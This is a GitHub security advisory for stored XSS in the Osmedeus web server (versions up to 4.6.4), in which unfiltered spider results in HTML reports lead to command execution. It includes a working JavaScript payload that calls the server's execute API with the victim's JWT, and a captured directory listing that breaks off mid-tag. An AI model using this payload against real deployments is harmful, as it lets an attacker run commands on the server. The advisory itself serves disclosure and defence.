GHSA-wvv7-wm5v-w2gv Osmedeus Web Server Vulnerable to Stored XSS, Leading to RCE

• Go github.com/j3ssie/osmedeus: <= 4.6.4 (no fix yet)

Summary XSS occurs on the Osmedues web server when viewing results from the workflow, allowing commands to be executed on the server. Details When using a workflow that contains the summary module, it generates reports in HTML and Markdown formats. The default report is based on the `general-template.md` template. ``` Execute Summary Generated by Osmedeus {{Version}} at {{CurrentDay}} Scan Information * 🚀 Subdomains * 🌐 HTTP Fingerprint * 🐞 Vulnerability List of Vulnerability Reports • {{Workspace}}-report.html • {{Workspace}}-sensitive.html • {{Workspace}}-nuclei.html Jaeles Scan * Nuclei Scan * 🕷️ Spider Content * 📃 Content Discovery * 🔍 Port Scan * ``` The contents of the files are read and used to generate the report. However, the file contents are not properly filtered, leading to XSS The issue starts with processing the tags, and XSS occurs when the extendTag function is called. https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L36 https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L95 https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L114 https://github.com/j3ssie/osmedeus/blob/815c261d44f6df1183d77b0b264060eec3168f00/core/markdown.go#L122-L124 The condition to enter this if branch must meet one of the following cases: • Tag shorten=true: In the default template, only subdomains have this tag ⇒ Subdomains cannot contain special characters, so XSS is not possible. • len(fileContent) > r.Opt.MDCodeBlockLimit: Simply put, the content length needs to exceed the MDCodeBlockLimit configuration (default is 10,000). After reviewing the files loaded in the default template, we select Spider Content because it meets the conditions: • It can contain special characters since the spider retrieves results through Katana ⇒ Katana parses content based on tags ⇒ We can create custom payloads by leveraging this mechanism." ``` Directory listing for / Directory listing for / 1 alert(1)">yxfzssjq_1721182234998.pdf ``` • Easily bypass the condition len(fileContent) > r.Opt.MDCodeBlockLimit • Spider is a module within the general workflow ⇒ a default workflow that is most commonly used PoC https://drive.google.com/file/d/1u-YowfzFV1tUqLaZk4s4Y1DykFhJZ8gR/view?usp=sharing Payload RCE `fetch(window.location.origin+'/api/osmp/execute',{method:'POST',body:JSON.stringify({command:'echo 1 >/tmp/js.txt',password:''}),headers:{Authorization:'Osmedeus '+localStorage.jwt,'Content-Type':'application/json'}});` File index payload ``` Directory listing for / Directory listing for / 1 675559605-1278d133b090b74129f65f6d108d2c83.pdf 959f770895133edc4cf65a4a02d12da8-syncbreezeent_setup_v10.0.28.exe [MS-DOCX]-240416.docx AnyDesk.exe Attachment.zip barker.tar c1awptpm_1721182413858.pdf cacert.der caido-desktop-logs-1729480323.zip caido-desktop-v0.41.0-win-x86_64.exe caido-desktop-v0.42.0-win-x86_64.exe cdd CentOS-7-live-GNOME-x86_64.iso chrome-integrate.zip ChromeSetup.exe Code_of_Conduct_Company_All-Consultants_v23_2023.01.12.pdf CxSAST.950.Release.Setup_9.5.0.100.7z CÁC QUY ĐỊNH &amp; TIÊU CHUẨN CẦN BIẾT CHO DOANH NGHIỆP NHỰA XUẤT KHẨU VÀO EU.pdf Danh sach may chu T18.xlsx de4dot-net45.zip de4dot-netcoreapp3.1.zip desktop.ini disk-1.KkwpoIcO.vmdk.part disk-1.vmdk dist.zip dnSpy-net-win64.zip doc.9.1.0.rar download Earned_Achievements_2024-09-16.pdf Eazfuscator.NET 2024.1 Setup.msi flare-ida-master.zip gitlab-recovery-codes.txt Hacking Rust.pdf Huong dan cai dat Oracle New.docx ida83_sdk_tools_v2.zip ida84_sdk_tools.zip IDARustDemangler.py idb2pat.py incident-notification_26.03.2024-2.pdf <a href="ironword.2024.8.3.nupkg"…